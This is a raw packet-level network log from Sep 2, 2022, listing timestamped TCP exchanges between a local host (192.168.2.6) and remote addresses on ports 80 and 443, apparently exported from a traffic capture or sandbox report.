Sep 2, 2022 14:02:32.745745897 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.745757103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.745805025 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.745820999 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.745898962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.745918036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.745932102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.745953083 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.745970011 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.746260881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.746279955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.746293068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.746318102 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.746355057 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.746521950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.746540070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.746551991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.746573925 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.746587992 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.746758938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.746777058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.746788025 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.746809006 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.746825933 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.746965885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.746983051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.746995926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.747051001 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.747067928 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.747411966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.747430086 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.747504950 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.747607946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.747627020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.747642994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.747653961 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.747694969 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.747889042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.747906923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.747919083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.748004913 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.748059034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.748076916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.748089075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.748112917 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.748156071 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.748437881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.748456955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.748469114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.748500109 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.748516083 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.748644114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.748661995 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.748672962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.748720884 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.748923063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.748940945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.748953104 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.748992920 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.749006987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.749097109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.749114990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.749125957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.749175072 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.749454021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.749473095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.749485016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.749514103 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.749531984 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.749645948 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.749665976 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.749679089 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.749731064 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.749752998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.750674963 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.750694990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.750705957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.750777960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.750796080 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.750802040 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.750808001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.750823021 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.750844955 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.751216888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.751236916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.751249075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.751307964 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.751405001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.751472950 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.752298117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.752315998 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.752331972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.752347946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.752360106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.752370119 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.752377987 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.752383947 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.752389908 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.752424955 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.752731085 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.752746105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.752763033 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.752785921 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.752804041 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.752885103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.752898932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.752914906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.752943993 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.752958059 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.752969980 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.752981901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.753014088 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.753678083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.753696918 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.753709078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.753745079 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.753757954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.753973007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.753990889 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.754003048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.754023075 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.754040956 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.754442930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.754461050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.754472971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.754514933 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.754529953 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.754591942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.754611015 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.754622936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.754657030 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.755034924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.755053043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.755064011 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.755110979 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.755204916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.755222082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.755234003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.755245924 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.755265951 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.755271912 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.755639076 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.755657911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.755670071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.755729914 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.755729914 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.755745888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.755759001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.755775928 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.755795002 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.756000042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.756021023 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.756027937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.756083965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.756197929 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.756215096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.756227970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.756254911 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.756273985 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.756633043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.756652117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.756664038 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.756709099 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.756736994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.756755114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.756766081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.756778002 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.756795883 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.757038116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.757066011 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.757078886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.757128954 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.757292986 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.757312059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.757323980 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.757364988 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.757457018 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.757558107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.757576942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.757591009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.757647991 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.757663965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.757782936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.758133888 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.758181095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.758196115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.758208036 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.758246899 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.758266926 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.758322954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.758337975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.758353949 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.758373022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.758465052 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.758479118 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.758625984 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.758645058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.758692980 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.758831978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.758846045 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.758862972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.758888006 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.758927107 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.759171009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.759186029 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.759201050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.759247065 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.759265900 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.759407043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.759419918 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.759485006 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.759550095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.759568930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.759581089 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.759618998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.759701967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.759721041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.759733915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.759742022 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.759792089 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.759804964 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.759958982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.759977102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.759990931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.760027885 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.760279894 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.760298014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.760309935 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.760334015 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.760365009 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.760540009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.760559082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.760571003 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.760622978 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.760731936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.760849953 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.760957956 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.760972977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.760988951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.761006117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.761017084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.761038065 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.761055946 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.761060953 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.761641979 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.761661053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.761673927 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.761710882 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.762149096 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.795469046 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.795717001 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.807375908 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:32.807462931 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:32.880738974 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.880784988 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.880820036 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.880857944 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.880986929 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.881005049 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.881083012 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.881100893 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.881131887 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.881145000 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.881186962 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.881257057 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.881270885 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.881305933 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.881320953 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.881352901 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.881450891 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.881481886 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.881494045 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:32.881587982 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:32.902538061 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.902569056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.902580976 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.902657032 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.902678967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.902692080 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.902734041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.902746916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.902765989 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.902790070 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.904246092 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.904315948 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.904328108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.904385090 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.904434919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.904499054 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.904550076 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.904556990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.905253887 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.905273914 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.905284882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.905342102 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.905400991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.905419111 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.905447960 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.905519009 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.905558109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.906053066 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.906069994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.906083107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.906100988 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.906121016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.906126976 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.906138897 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.906161070 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.907994032 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.908031940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.908045053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.908062935 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.908101082 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.908143997 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.908164024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.908175945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.908216000 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.909534931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.909554958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.909567118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.909594059 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.909626961 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.909668922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.909684896 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.909697056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.909727097 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.912723064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.912748098 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.912760973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.912776947 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.912792921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.912830114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.912858963 CEST	49787	80	192.168.2.6	85.209.157.230
